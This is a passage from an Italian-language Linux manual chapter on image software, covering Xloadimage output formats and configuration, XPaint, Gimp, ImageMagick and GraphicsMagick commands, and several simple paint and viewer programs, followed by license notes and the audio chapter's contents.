Quando si utilizza l'opzione '**`-dump`**', è possibile specificare il tipo di immagine che si vuole ottenere. Oltre al tipo, potrebbe essere possibile o necessaria l'indicazione di argomenti ulteriori, dal momento che molti formati gestiscono più modalità alternative. Sotto questo aspetto, un formato viene definito con la sintassi seguente:

formato [**, *opzione_di_formato*** [=***valore***]] ***file_da_generare***

Nella tabella successiva viene descritto il modello del formato in modo più particolareggiato, in base ad alcuni tipi di comuni.

Tabella 34.39. Dichiarazione di alcuni formati.

Modello del formato	Descrizione
`jpeg`	Formato JPEG.
`jpeg,arithmetic`	Codifica aritmetica.
`jpeg,grayscale`	Trasforma un'immagine a colori in una a scala di grigi.
`jpeg,nointerleave`	Crea un file non interfogliato (*non-interleaved*).
`jpeg,entropy`	Abilita l'ottimizzazione del parametro *entropy*
`jpeg,quality=`***percentuale_qualità***	Regola la qualità dell'immagine da creare. Il valore predefinito è 75; valori inferiori creano immagini più povere.
`jpeg,smooth=`***fattore_di_sfumatura***	Permette di regolare il fattore di sfumatura. Sono ammissibili tutti i valori da 0 a 100, estremi inclusi.
`bmp`	Formato BMP.
`bpm,normal`	Utilizza il formato normale.
`bpm,raw`	Utilizza il formato grezzo. È la modalità predefinita quando si utilizza il tipo BPM.
`tiff`	Formato TIFF.
`tiff,compression=lzw`	Compressione predefinita: Limpel-Ziv-Welsh.
`tiff,compression=none`	Nessuna compressione.
`tiff,compression=rle`	Compressione CCITT RLE.
`tiff,compression=g3fax`	Compressione CCITT Group 3 FAX.
`tiff,compression=g4fax`	Compressione CCITT Group 4 FAX.
`tiff,compression=rlew`	Compressione CCITT RLEW.
`tiff,compression=mac`	Compressione Macintosh PackBits;
`tiff,compression=packbits`	Compressione Macintosh PackBits;

Modello del formato	Descrizione
`tiff,compression=thunderscan`	Compressione ThunderScan.

Tabella 34.40. Formati di immagini gestiti da Xloadimage. Solo alcuni formati possono essere usati per generare nuovi file attraverso l'opzione '**`-dump`**'. Questo elenco può essere ottenuto attraverso l'opzione '**`-support`**'.

Formato	'**`-dump`**'	Descrizione
niff	Sì	Native Image File Format (NIFF)
sunraster	No	Sun Rasterfile
gif	No	GIF Image
jpeg	Sì	JFIF-style JPEG Image
fbm	No	FBM Image
cmuraster	No	CMU WM Raster
pbm	Sì	Portable Bit Map (PBM, PGM, PPM)
faces	No	Faces Project
rle	No	Utah RLE Image
xwd	No	X Window Dump
vff	No	Sun Visualization File Format
mcidas	No	McIDAS areafile
vicar	No	VICAR Image
pcx	No	PC Paintbrush Image
gem	No	GEM Bit Image
macpaint	No	MacPaint Image
xpm	No	X Pixmap
xbm	No	X Bitmap

34.2.2.5 Configurazione

Per facilitare l'utilizzo di questo programma è possibile definire una configurazione personalizzata attraverso il file '`~/.xloadimagerc`'. Nello stesso modo può essere predisposto un file di configurazione globale per tutto il sistema: '`/usr/lib/X11/Xloadimage`', o forse anche '`/etc/X11/Xloadimage`'.

Se qualche elemento contiene spazi, si possono utilizzare gli apici doppi per evitare che questi spazi vengano interpretati come una separazione, ovvero l'inizio di un altro valore. Si può utilizzare la barra obliqua inversa ('**`\`**') per poter includere gli apici doppi tra i caratteri normali e per permettere la continuazione, quando questa barra precede il codice di interruzione di riga.

Il simbolo '**`#`**' permette di indicare l'inizio di un commento, fino alla fine della riga. Come al solito, le righe bianche e quelle vuote vengono ignorate.

All'interno di questi file possono essere indicati tre tipi di informazione: '**`path`**', '**`extention`**' e '**`filter`**'.

Tabella 34.41. Sezioni.

Direttiva	Descrizione
`path = `***percorso_di_ricerca*** ...	Con questa dichiarazione può essere indicato un elenco di percorsi all'interno dei quali cercare i file delle immagini. L'elenco è formato dai vari percorsi separati da uno o più spazi, caratteri di tabulazione o codici di interruzione di riga.
`extention = `***estensione*** ...	Permette di indicare una serie di estensioni possibili da aggiungere ai nomi delle immagini per ottenere la corrispondenza con i nomi dei file. I file vengono cercati tentando le varie estensioni, nell'ordine in cui sono state specificate. L'elenco di estensioni è separato attraverso uno o più spazi, caratteri di tabulazione o codici di interruzione di riga.
`filter = `***programma estensione***	Specifica il programma attraverso il quale deve essere filtrato il file dell'immagine se questo termina con l'estensione indicata. Questo permette di accedere facilmente a file compressi. Le estensioni '`.Z`' e '`.gz`' sono già riconosciute e trattate correttamente attraverso il programma adatto.

Segue un esempio del file di configurazione contenente la descrizione delle direttive usate, in forma di commento:

```
# Percorsi da scandire alla ricerca di file di immagini
path = /usr/local/immagini
       ~/immagini

# Estensioni predefinite
extention = .gif .jpg

# Utilizza gzip se vengono trovate estensioni .gz .z .zip
filter = "gzip -cd" .gz .z .zip
```

34.2.3 XPaint

XPaint[11] è un programma di buona qualità per il disegno e il fotoritocco. A prima vista potrebbe non sembrarlo, ma quando se ne apprende la logica del funzionamento si scopre il suo valore.

Purtroppo, XPaint dipende dalle caratteristiche dello schermo, ovvero dalla profondità di colori gestiti nel momento in cui lo si utilizza. Se per ipotesi venisse utilizzato su uno schermo configurato per gestire esclusivamente i grigi, si potrebbero salvare solo immagini in scala di grigi. Questo significa che l'elaborazione di immagini di qualità superiore a quanto visualizzabile sullo schermo comporta una perdita di qualità.

XPaint è costituito dall'eseguibile '**`xpaint`**'; si tratta di un programma interattivo e solitamente non viene usata alcuna opzione e nemmeno alcun nome di file. Se si indicano dei file, questi vengono caricati in altrettante finestre per il disegno o fotoritocco.

```
xpaint [opzioni] [file...]
```

XPaint utilizza una finestra di strumenti contenente un menù per le operazioni più importanti, quali il caricamento di altri file di immagini o la creazione di una nuova immagine, e una serie di icone che fanno riferimento ad altrettanti strumenti per il disegno.

A fianco della finestra degli attrezzi si collocano le finestre per il fotoritocco o per il disegno. Ognuna ha una propria tavolozza di colori. Sono consentite le operazioni di taglia-copia-incolla tra finestre differenti.

Tabella 34.43. Alcune opzioni.

Opzione	Descrizione
`-size` ***larghezza***x***altezza***	Permette di definire la dimensione predefinita per la creazione di finestre vuote per il disegno.
`-rcFile` ***file***	Definisce il nome e la collocazione di un file di configurazione diverso da quello predefinito, che altrimenti è '`~/.XPaintrc`'.
`-popped`	Prepara una finestra vuota per il disegno all'avvio, senza bisogno di doverla richiedere espressamente durante il funzionamento del programma.
`-nowarn`	Senza utilizzare questa opzione, il programma avvisa ogni volta, attraverso lo standard error, della possibile perdita di informazioni quando si elaborano immagini con schermi di capacità limitate. In pratica, con questa opzione si vuole evitare di vedere ogni volta il messaggio della figura 34.44.

Figura 34.44. Avvertimento di XPaint quando la profondità di colori è limitata.

```
XPaint uses the native display format for storing image info while editing;
the original image information is thrown away.  This means that, in general,
color information is irretrievably lost when using any display depth less
than 24 bits.

More specifically, for depths less than 8 bits, both 24-bit (true-color) and
8-bit (palette) images will be reduced to the display depth; for 8-bit
displays, standard color-mapped images are safe but 12-bit color-mapped and
24-bit true-color images will lose color information; for 15- and 16-bit
displays (typically RGB 555 and 565, respectively), in general both 8-bit
and 24-bit images will suffer data loss; and for 24- or 32-bit displays,
only very deep images such as 16-bit grayscale or 48-bit true-color will
lose data.

Also note that any ancillary information associated with the original image
(embedded comments, time stamp, copyright, etc.) will always be lost.

Your display depth is 8 bits.

     =============================================================
     WARNING!  Most true-color images will suffer major data loss!
     =============================================================
```

Risorsa	Descrizione
`XPaint.patternsize:` *pixel*	Permette di definire la dimensione in punti grafici (pixel) dei quadratini colorati che compongono la tavolozza dei colori di ogni finestra di disegno. Le dimensioni possibili vanno da 4 a 64 punti, mentre il valore predefinito è 24.

Segue la descrizione di alcuni esempi.

- `$ ` **`xpaint sole.jpg`** [*Invio*]

  Carica il file '`sole.jpg`' in una finestra per il disegno.

- `$ ` **`xpaint -xrm 'XPaint.patternsize: 10'`** [*Invio*]

  Avvia il programma modificando la risorsa '**`XPaint.patternsize`**' in modo da avere una tavolozza dei colori un po' più compatta del solito.

Figura 34.46. La finestra degli attrezzi di XPaint.

Le varie icone rappresentano ognuna una modalità di disegno o di selezione sulle varie finestre di disegno. Il funzionamento del menù è abbastanza semplice, in particolare, il menù *`File`* permette di caricare una nuova immagine, oppure di aprire una nuova finestra vuota per il disegno. Si noti in particolare la presenza del menù *`Help`* dal quale si accede a una guida interna ben organizzata.

XPaint apre tante finestre di disegno quante sono le immagini da elaborare. La figura 34.47 ne mostra una all'interno della quale appare già un'immagine.

Figura 34.47. XPaint utilizza una finestra di disegno per ogni immagine.

Nella parte inferiore ci sono due tavolozze di colori e modelli: normalmente la prima riguarda il tratto e la seconda il fondale. Se dalla finestra degli attrezzi si seleziona l'icona del rettangolo pieno, quando si disegna, il contorno del rettangolo utilizza il primo colore o modello, mentre il contenuto utilizza il secondo. Alla tavolozza possono essere aggiunti nuovi colori (*solid*) o modelli (*pattern*).

Ciò che è importante da ricordare è che il controllo sullo strumento usato per disegnare è sempre fatto attraverso la finestra degli attrezzi.

L'uso del menù è abbastanza intuitivo. In particolare, `File` permette solo di salvare (il caricamento è previsto solo nella finestra degli attrezzi). Salvando è possibile cambiare formato o salvare solo una porzione selezionata dell'immagine.

Molte operazioni di fotoritocco che possono essere controllate dalla finestra di disegno si riferiscono (o possono riferirsi) a una zona rettangolare selezionata precedentemente. Per ottenere questa selezione si utilizza l'icona apposita (quella del ritaglio rettangolare) della finestra degli attrezzi.

Se si applicano delle alterazioni all'immagine intera, potrebbe capitare di non vederne il risultato. Si può provare a ridurre a icona la finestra e a ripristinarla: dovrebbe funzionare.

La figura 34.48 mostra alcuni esempi di fotoritocco applicati a zone dell'immagine.

Figura 34.48. Alcuni esempi delle possibilità di fotoritocco di XPaint.

Il sistema di annullamento delle azioni (*undo*) è a più livelli e regolabile, a volte però potrebbe capitare di non vedere la reazione sull'immagine. È sempre bene provare a ridurre la finestra a icona e poi a ripristinarla per verificare la situazione esatta dell'immagine.

34.2.4 Gimp

Gimp [12] è acronimo di *Gnu image manipulation program* e si tratta proprio di questo: un programma di manipolazione delle immagini. È il programma di punta del gruppo di lavoro che si occupa di realizzare l'ambiente integrato Gnome. Si tratta di un programma di ottima qualità che consente il disegno normale e il ritocco delle immagini.

Gimp ha una filosofia simile a quella di XPaint: pur trattandosi di un programma interattivo, permette di eseguire alcune operazioni attraverso l'indicazione di opzioni della riga di comando. Se si indicano dei file, questi vengono caricati in altrettante finestre per il disegno o fotoritocco.

```
gimp [opzioni] [file...]
```

Gimp, come XPaint, utilizza una finestra di strumenti contenente un menù per le operazioni più importanti, quali il caricamento di altri file di immagini o la creazione di una nuova immagine, e una serie di icone che fanno riferimento ad altrettanti strumenti per il disegno.

A fianco della finestra degli attrezzi si collocano le finestre per il fotoritocco o per il disegno. Queste hanno un menù a cui si accede premendo il terzo tasto del mouse (quello destro) e, a differenza di XPaint, non contengono la tavolozza di colori, che invece è incorporata nella finestra degli strumenti.

Gimp non aderisce più agli standard dei vecchi programmi che utilizzavano le prime librerie grafiche. Quindi, le opzioni tradizionali, come '**-display**', '**-geometry**',... non sono più valide.

Opzione	Descrizione
`--display` ***schermo***	Permette di specificare le coordinate dello schermo su cui devono apparire le finestre di Gimp.

La figura 34.50 mostra le finestre degli strumenti di Gimp.

Figura 34.50. Le finestre degli strumenti di Gimp.

Le varie icone rappresentano ognuna una modalità di disegno o di selezione sulle varie finestre di disegno. Il funzionamento del menù è abbastanza semplice, in particolare, il menù `File` permette di caricare una nuova immagine, oppure di aprire una nuova finestra vuota per il disegno.

Gimp apre tante finestre di disegno quante sono le immagini da elaborare. La figura 34.51 ne mostra una all'interno della quale appare già un'immagine.

Figura 34.51. Gimp utilizza una finestra di disegno per ogni immagine.

Su queste finestre non si vede alcun menù; per ottenerlo si preme il terzo tasto del mouse. Come nel caso di XPaint, il controllo sullo strumento usato per disegnare è sempre fatto attraverso la finestra degli strumenti.

Come nel caso di XPaint, molte operazioni di fotoritocco che possono essere controllate dalla finestra di disegno si riferiscono (o possono riferirsi) a una zona selezionata precedentemente. Per ottenere questa selezione si utilizza l'apposita icona della finestra degli attrezzi.

34.2.5 ImageMagick

ImageMagick[13] è un pacchetto di programmi di servizio per la visualizzazione, la conversione e la manipolazione di immagini. La sua potenza sta proprio nella facilità con cui i programmi che lo compongono possono essere utilizzati in modo sistematico attraverso degli script.

I formati di immagine che possono gestire i programmi che compongono ImageMagick sono numerosi. Per conoscerne l'elenco completo basta leggere la pagina di manuale *convert(1)*.

Nell'uso dei programmi che compongono ImageMagick si incontrano situazioni comuni, regolate da opzioni che utilizzano la stessa sintassi. Anche se queste opzioni non sono necessariamente condivise da tutto l'insieme di questi programmi, vale la pena di descriverle a parte.

Tabella 34.52. Alcune opzioni tipiche.

Opzione	Descrizione
`-display` ***coordinate_del_display***	Si tratta di un'opzione convenzionale utilizzata da quasi tutti i programmi che funzionano con il sistema grafico X. Come al solito serve per specificare il servente grafico e lo schermo dove deve apparire la finestra dell'applicazione. Le coordinate hanno generalmente la sintassi '[***nodo***]`:`***servente***[`.`***schermo***]'.
`-geometry` [***larghezza***[`%`]`x`***altezza***[`%`]] ↩ ↪ [`+`|`-`***posizione_orizz***] [`+`|`-`***posizione_vert***] [`!`]	Questa opzione si rifà a quella omonima utilizzata dai programmi comuni per X. Tuttavia utilizza una sintassi più ricca, che permette di indicare anche il ridimensionamento relativo delle immagini. Questa opzione viene usata sia dai programmi che si occupano di visualizzare un'immagine, sia da quelli che si limitano a rielaborarla. Quando l'immagine non deve essere visualizzata non hanno senso le indicazioni che specificano la posizione della finestra sullo schermo.
`-geometry` ***larghezza***`x`***altezza***[`!`]	In questo caso si definisce la dimensione dell'immagine in punti. In condizioni normali le proporzioni vengono mantenute, riducendo automaticamente la larghezza o l'altezza, a meno che venga aggiunto un punto esclamativo finale con cui si impone la deformazione.
`-geometry` ***larghezza***`%x`***altezza***`%`	In questo caso si modificano le proporzioni dell'immagine indicando valori di larghezza e altezza percentuali: 100 indica la dimensione normale (100 %).
`-geometry` [***dimensioni***] [`+`|`-`***posizione_orizz***] ↩ ↪ [`+`|`-`***posizione_vert***]	Dopo le dimensioni (effettive o relative) si può indicare la posizione in cui deve apparire la finestra dell'immagine, secondo il modo normale utilizzato dalle applicazioni per X.
`-colors` ***n_colori***	In una trasformazione permette di indicare il numero massimo di colori contenuto nelle immagini.
`-monochrome`	Trasforma l'immagine in modo da utilizzare solo bianco e nero.

34.2.5.1 Utilizzo di «convert»

Il programma '**`convert`**' permette di convertire i file di immagini in formati differenti, applicando eventualmente anche altre trasformazioni. Dalla sintassi si intende che i file indicati nella riga di comando come quelli da convertire possono essere più di uno, mentre quello da ottenere come risultato della trasformazione può essere uno solo. In questo modo, si intende ottenere un file contenente un'animazione (ammesso che il formato grafico prescelto lo consenta).

`convert` [***opzioni***] ***file_da_convertire***... ***file_risultante***

La conversione da un formato all'altro avviene in modo intuitivo, attraverso l'uso del magic number per i file da trasformare e delle estensioni per i file da generare; per esempio, volendo trasformare il file '`prova.gif`' in '`prova.png`', si intende implicitamente che il primo file sia di tipo GIF e il secondo di tipo PNG. Tuttavia, si può indicare espressamente il tipo di file utilizzando il formato seguente:

tipo : ***nome***

Se il file in ingresso viene indicato attraverso un trattino ('**`-`**'), si intende fare riferimento allo standard input, mentre se viene usato un trattino al posto del nome di un file in uscita, si intende emettere il risultato della conversione attraverso lo standard output.

Il programma '**`convert`**' permette di eseguire una grande quantità di trasformazioni sulle immagini. Qui vengono descritte solo delle funzionalità elementari; per approfondire le caratteristiche di questo programma si può consultare la pagina di manuale *convert(1)*.

Nella tabella successiva vengono descritte solo alcune opzioni che possono essere utilizzate con '**`convert`**'. In particolare, quanto è già stato descritto tra le opzioni standard di ImageMagick vale anche per questo programma.

Tabella 34.53. Alcune opzioni specifiche.

Opzione	Descrizione
`-delay` ***centesimi_di_secondo***	Questa opzione è utile solo nel caso si stia generando un'animazione GIF, per stabilire la durata di visualizzazione tra un'immagine e la successiva.
`-flip`	Ribalta specularmente l'immagine in modo verticale.
`-flop`	Ribalta specularmente l'immagine in modo orizzontale.
`-quality` ***n_livello***	Permette di stabilire il livello qualitativo di un'immagine che utilizza una compressione con perdita: JPEG, MIFF e PNG. Il valore zero rappresenta la qualità peggiore, mentre 100 rappresenta la qualità migliore. Il valore predefinito è 75.
`-rotate` ***n_gradi***	Ruota l'immagine del numero di gradi indicato.
`-sharpen` ***n_fattore***	Mette a fuoco l'immagine specificando il fattore che è un numero tra 0,0 e 99,9. Il valore più alto porta al massimo l'effetto di messa a fuoco.

Segue la descrizione di alcuni esempi.

- `$` **`convert prova.gif prova.png`** [*Invio*]

  Converte il file '`prova.gif`' (presumibilmente di tipo GIF) nel file '`prova.png`' che si intende debba essere di tipo PNG a causa dell'estensione utilizzata nel nome.

- `$` **`convert prova.gif PNG:prova`** [*Invio*]

  Come nell'esempio precedente, si converte il file '`prova.gif`' nel file '`prova`', specificando esplicitamente che si deve trattare di un formato PNG.

- `$` **`convert prova.gif png:prova`** [*Invio*]

  Esattamente come nell'esempio precedente (il nome che identifica il tipo di file può essere indicato indifferentemente con le lettere maiuscole o minuscole).

- `$` **`convert -geometry 150%x150% prova.gif prova.png`** [*Invio*]

  Trasforma il file '`prova.gif`' nel file '`prova.png`' ingrandendo l'immagine del 150 %, in modo proporzionale.

- `$` **`convert -sharpen 50 prova.gif prova.png`** [*Invio*]

  Trasforma il file '`prova.gif`' nel file '`prova.png`' rielaborandola in modo da ottenere un effetto simile alla messa a fuoco (viene utilizzato un fattore di 50).

- `$` **`convert -quality 100 prova.gif prova.png`** [*Invio*]

  Trasforma il file '`prova.gif`' nel file '`prova.png`' cercando di perdere il minor numero possibile di dettagli.

- `$` **`convert -flip prova.gif prova.png`** [*Invio*]

  Trasforma il file '`prova.gif`' nel file '`prova.png`' ottenuto ribaltando specularmente l'immagine in modo verticale (dall'alto in basso).

- `$` **`convert -flop prova.gif prova.png`** [*Invio*]

  Trasforma il file '`prova.gif`' nel file '`prova.png`' ottenuto ribaltando specularmente l'immagine in modo orizzontale (da sinistra a destra).

- `$` **`convert -rotate 90 prova.gif prova.png`** [*Invio*]

  Trasforma il file '`prova.gif`' nel file '`prova.png`' ottenuto ruotando l'immagine di 90 gradi in senso orario.

- `$` **`convert *.jpg prova.gif`** [*Invio*]

  Legge tutti i file che terminano con l'estensione '`.jpg`' e li utilizza per generare un'animazione GIF nel file '`prova.gif`'.

- `$` **`convert *.jpg prova.png`** [*Invio*]

  Tenta di fare la stessa cosa dell'esempio precedente, generando un file di tipo PNG. In pratica, dal momento che il formato PNG può contenere solo un'immagine, viene creata una sequenza di file PNG, uno per ogni «scena», secondo il formato '`prova.png.`***n***'.

34.2.5.2 Utilizzo di «mogrify»

Il programma '**mogrify**' è simile a '**convert**', in quanto serve a convertire delle immagini, ma a differenza di questo tende a intervenire direttamente sui file di origine, senza riflettersi in un file di destinazione. Molte delle opzioni di '**convert**' sono disponibili anche con '**mogrify**'.

```
mogrify [opzioni] file...
```

Opzione	Descrizione
`-format` ***nome_formato***	Permette di definire la trasformazione in un formato differente da quello originale. Utilizzando questa opzione, le modifiche non si riflettono nel file di origine, ma in una copia che prende l'estensione del nome utilizzato per definire il formato.

Segue la descrizione di alcuni esempi.

- `$` **`mogrify -format png *.gif`** [*Invio*]

  Converte i file che si trovano nella directory corrente e terminano con l'estensione '`.gif`' in file di tipo PNG, creando una copia degli stessi file con estensione '`.png`'.

- `$` **`mogrify -format PNG *.gif`** [*Invio*]

  Converte come nell'esempio precedente, con la differenza che l'estensione diventa '`.PNG`'.

- `$` **`mogrify -geometry 150%x150% *.gif`** [*Invio*]

  Trasforma i file il cui nome termina per '`.gif`', ingrandendoli proporzionalmente del 150 %. I file originali vengono sovrascritti.

- `$` **`mogrify -colors 16 *.gif`** [*Invio*]

  Trasforma i file il cui nome termina per '`.gif`', rielaborando le immagini in modo da ridurre i colori a un massimo di 16.

- `$` **`mogrify -flip *.gif`** [*Invio*]

  Trasforma i file il cui nome termina per '`.gif`', ribaltando le immagini verticalmente (dall'alto in basso).

- `$` **`mogrify -flop *.gif`** [*Invio*]

  Trasforma i file il cui nome termina per '`.gif`', ribaltando le immagini orizzontalmente (da sinistra a destra).

34.2.5.3 Utilizzo di «animate»

Il programma '**animate**' visualizza un'animazione composta dai file forniti come argomento. Per ottenere questo risultato, '**animate**' costruisce una copia dell'insieme delle immagini nella memoria centrale; questo particolare è molto importante perché se si eccede **si rischia di bloccare il sistema operativo**.

```
animate [opzioni] file...
```

Molte delle opzioni di '**convert**' sono disponibili anche con '**animate**'.

Opzione	Descrizione
`-delay` *centesimi_di_secondo*	Questa opzione permette di definire la durata di visualizzazione tra un'immagine e la successiva.

L'esempio seguente crea un'animazione con le immagini contenute nei file che terminano per '.gif'. La sequenza è fatta a intervalli di mezzo secondo:

$ **animate -delay 50 *.gif** [*Invio*]

34.2.5.4 Utilizzo di «montage»

Il programma '**montage**' permette di assemblare una serie di immagini in modo da ottenere una sorta di raccolta di diapositive. In pratica si ottiene un'immagine contenente una serie di icone che riproducono in piccolo i file indicati in ingresso.

```
montage [opzioni] file... file_risultante
```

L'esempio seguente genera il file 'raccolta.png' (in formato PNG) composto da tutte le immagini ridotte dei file che terminano per '.gif':

$ **montage *.gif raccolta.png** [*Invio*]

34.2.5.5 Utilizzo di «import»

Il programma '**import**' permette di generare un file catturando un'immagine dallo schermo. Se non si specificano opzioni particolari, si intende utilizzare lo schermo attuale; inoltre, il puntatore del mouse viene modificato in un mirino a forma di croce. Se si fa un clic con il primo tasto sull'area di una finestra, si ottiene la copia del contenuto di questa, se invece si preme il primo tasto e si trascina, si ottiene la copia dell'area evidenziata.

```
import [opzioni] file_risultante
```

Opzione	Descrizione
`-window` *n_finestra* | *nome_finestra*	Permette di specificare esplicitamente la finestra dalla quale prelevare l'immagine. In generale è poco probabile che venga inserito il numero di identificazione di una finestra, dal momento che si tratta di un numero esadecimale un po' lungo; per quanto riguarda la possibilità di indicare il nome, ci si limita normalmente a fare riferimento della finestra principale attraverso la denominazione '**`root`**'.

Segue la descrizione di alcuni esempi.

- `$` **`import estratto.png`** [*Invio*]

  Avvia '**`import`**' in modo da permettere la selezione interattiva della finestra o dell'area desiderata. Il risultato viene salvato nel file '`estratto.png`'.

- `$` **`import -window 0x1400002 finestra.png`** [*Invio*]

  Fa una copia del contenuto della finestra identificata dal numero esadecimale 1400002_{16}.

- `$` **`import -window root finestra.png`** [*Invio*]

  Fa una copia del contenuto della finestra principale.

34.2.5.6 Utilizzo di «display»

Il programma '**`display`**' permette la visualizzazione di una sequenza di immagini, eventualmente stabilendo anche un intervallo nella sequenza stessa. Tuttavia, '**`display`**' non si limita a questo, permettendo di intervenire anche in modo interattivo: basta fare un clic sull'area della finestra di visualizzazione dell'immagine per ottenere un menù. Per la precisione, con il tasto sinistro si ottiene una finestra di pulsanti che fanno riferimento ad altrettanti sottomenù, mentre con il tasto destro si ottiene un menù a scomparsa delle funzionalità di uso più frequente.

```
display [opzioni] [file]...
```

Questo programma può essere avviato anche senza argomenti, richiedendo implicitamente un funzionamento interattivo. In questo caso si ottiene subito la maschera che si vede nella figura 34.57.

Figura 34.57. Quando si avvia '**`display`**' senza l'indicazione di file da visualizzare, si viene invitati a indicarne almeno uno.

Una volta che '**`display`**' ha visualizzato un'immagine in una finestra, si può ottenere il menù rapido attraverso un clic con il terzo tasto del mouse. Con il secondo tasto (quello centrale) si ottiene una finestra con un ingrandimento del punto selezionato, mentre con il primo tasto del mouse si ottiene una finestra contenente tutto il menù delle funzioni disponibili con questo programma (se viene ripremuto lo stesso tasto, il menù scompare).

Figura 34.58. A sinistra il menù rapido che si ottiene con il tasto destro del mouse; a destra il menù normale.

Come nel caso degli altri programmi di ImageMagick, anche '**`display`**' permette di intervenire con una grande quantità di opzioni della riga di comando, anche se si può fare quasi tutto in modo interattivo.

Segue la descrizione di alcuni esempi.

- `$` **`display`** [*Invio*]

  Avvia il programma '**`display`**' per essere usato esclusivamente in modo interattivo.

- `$` **`display prova.png`** [*Invio*]

  Visualizza l'immagine contenuta nel file '`prova.png`'.

- `$` **`display -delay 200 *.png`** [*Invio*]

  Inizia la visualizzazione delle immagini contenute in tutti i file il cui nome termina per '`.png`'. I file vengono caricati di volta in volta, senza impegnare la memoria centrale come farebbe invece il programma '**`animate`**'. Il caricamento delle immagini avviene a intervalli di due secondi.

- `$` **`display 'vid:*.png'`** [*Invio*]

  Avvia '**`display`**' in modo da visualizzare un elenco di «diapositive» generate utilizzando le immagini contenute nei file che finiscono per '`.png`'. Questo elenco di diapositive funge da menù per richiamare le immagini relative.

34.2.6 GraphicsMagick

GraphicsMagick[14] è un lavoro derivato da ImageMagick, che mantiene una discreta compatibilità con questo. A differenza di ImageMagick, GraphicsMagick utilizza convenientemente un solo programma eseguibile: '**gm**'.

gm convert [*opzioni*] *file_da_convertire*... *file_risultante*

gm mogrify [*opzioni*] *file*...

gm animate [*opzioni*] *file*...

gm montage [*opzioni*] *file*... *file_risultante*

gm import [*opzioni*] *file_risultante*

gm display [*opzioni*] [*file*]...

Si intuisce dai modelli sintattici che le opzioni e l'uso generale siano sostanzialmente uguali a quelli di ImageMagick, dove in pratica, ai comandi originali si aggiunge davanti il nome '**gm**'.

34.2.7 Kolourpaint

Kolourpaint[15] è un programma per il disegno e il fotoritocco, che può essere usato con la semplicità di XPaint, offrendo però anche funzionalità abbastanza evolute, senza entrare nella complicazione di utilizzo di programmi come Gimp.

kolourpaint [*opzioni*] [*file*]

Figura 34.59. Aspetto di Kolourpaint durante il funzionamento.

34.2.8 Gpaint

Gpaint[16] è un programma funzionalmente ed esteticamente molto simile a XPaint, che però risulta essere coordinato con le altre applicazioni Gnome.

```
gpaint [file] ...
```

La figura 34.60 mostra Gpaint mentre si interviene su un file già esistente.

Figura 34.60. Aspetto di Gpaint durante il funzionamento.

34.2.9 Tuxpaint

Tuxpaint [17] è un programma di disegno rivolto ai bambini, che ha la caratteristica di essere estremamente semplice e intuitivo nel suo utilizzo:

```
gpaint [opzioni]
```

Il programma può essere avviato indicando delle opzioni, che possono servire probabilmente per l'utilizzo nell'ambito di un menù di avvio, ma non si può indicare il nome di un file, perché la gestione dei nomi è automatica. In pratica, Tuxpaint gestisce la directory '`~/.tuxpaint/`', all'interno della quale inserisce informazioni di funzionamento e i file che vengono creati; in tal modo, quando si apre un file, invece di scegliere il nome, si sceglie la miniatura del suo contenuto.

Figura 34.61. Aspetto di Tuxpaint durante il funzionamento.

Come ultima considerazione, si può osservare che Tuxpaint funziona in una finestra di dimensione fissa, tale da poter lavorare anche con una risoluzione dello schermo di soli 640×480 punti.

34.2.10 GQview

GQview[18] è un gestore di file contenenti immagini. Il programma eseguibile corrispondente è '**gqview**' che, come si vede dal modello sintattico, può ricevere l'indicazione di una directory, all'interno della quale si dovrebbero trovare dei file di immagini:

```
gqview [opzioni] [directory]
```

La figura 34.62 mostra come potrebbe presentarsi GQview in pratica. Si può osservare sul lato sinistro un nome evidenziato, corrispondente all'immagine che si sta visualizzando sul lato destro.

Figura 34.62. GQview mentre scorre un elenco di immagini.

34.3 Riferimenti

- *SANE - Scanner Access Now Easy*

  ⟨*http://www.sane-project.org/* ⟩

- *SANE: Supported Devices*

  ⟨*http://www.sane-project.org/sane-mfgs.html* ⟩

- *SANE: Backends (Drivers)*

  ⟨*http://www.sane-project.org/lists/* ⟩

- *SANE - Documentation*

  ⟨*http://www.sane-project.org/docs.html* ⟩

- Howard Shane, *The Scanner HOWTO*

  ⟨*http://tldp.org/HOWTO/Scanner-HOWTO/* ⟩

- Jochen Eisinger, *SANE Network Daemon*

  ⟨*http://penguin-breeder.org/sane/saned/* ⟩

[1] **SANE API and network protocol** dominio pubblico

[2] **SANE backend libraries** GNU GPL con alcune eccezioni

[3] **Scanimage** GNU GPL

[4] **Xscanimage** GNU GPL

[5] **Xscanimage** GNU GPL

[6] **X** MIT più altre licenze per porzioni particolari di codice

[7] **X** MIT più altre licenze per porzioni particolari di codice

[8] **Xgrabsc** software libero con licenza speciale

[9] **Xloadimage** software libero con licenza speciale

[10] Con Xloadimage si fa riferimento a «immagini» e non semplicemente a file che contengono delle immagini, perché questo programma ha una propria gestione dei percorsi e delle estensioni, anche se non è necessario sfruttare tale possibilità.

[11] **XPaint** software libero soggetto a diverse licenze a seconda della porzione di codice coinvolta

[12] **Gimp** GNU GPL

[13] **ImageMagick** software libero con licenza speciale

[14] **GraphicsMagick** software libero con licenza speciale

[15] **Kolourpaint** GNU GPL

[16] **Gpaint** GNU GPL

[17] **Tuxpaint** GNU GPL

[18] **GQview** GNU GPL

Capitolo 35

Audio

35.1 Numero ISRC . . . 1946
35.2 Concetti generali sui formati audio digitali . . . 1946
35.2.1 Composizione del suono . . . 1947
35.2.2 Rappresentazione digitale del suono . . . 1948
35.2.3 Formati audio non compressi . . . 1949
35.2.4 Formati audio compressi . . . 1950
35.2.5 Informazioni di un contenitore Ogg . . . 1953
35.3 Lettore CD audio . . . 1953
35.3.1 Ascolto di un CD audio . . . 1955
35.3.2 CDDB . . . 1962
35.3.3 Tracce CDDA . . . 1965
35.3.4 Etichette e copertine . . . 1971
35.4 Audio con i sistemi GNU/Linux . . . 1977
35.4.1 File di dispositivo . . . 1978
35.5 Gestione della scheda audio . . . 1979
35.5.1 Aumix . . . 1980
35.5.2 Alsamixer . . . 1984
35.5.3 Gnome-volume-control . . . 1985
35.5.4 Esecuzione e registrazione di brani campionati . . . 1985
35.5.5 Wavtools . . . 1987
35.5.6 Sound-recorder . . . 1987
35.5.7 Aplay e Arecord . . . 1989
35.5.8 Sox . . . 1990
35.5.9 Normalize . . . 1997
35.5.10 Xwave . . . 1998
35.5.11 Audacity . . . 1999
35.6 Sintesi vocale . . . 2003
35.6.1 eSpeak . . . 2003
35.7 MIDI . . . 2006
35.7.1 File MIDI . . . 2006
35.7.2 Midge . . . 2008
35.7.3 Timidity++ . . . 2014
35.8 Programmi per la gestione di formati audio compressi . . . 2015

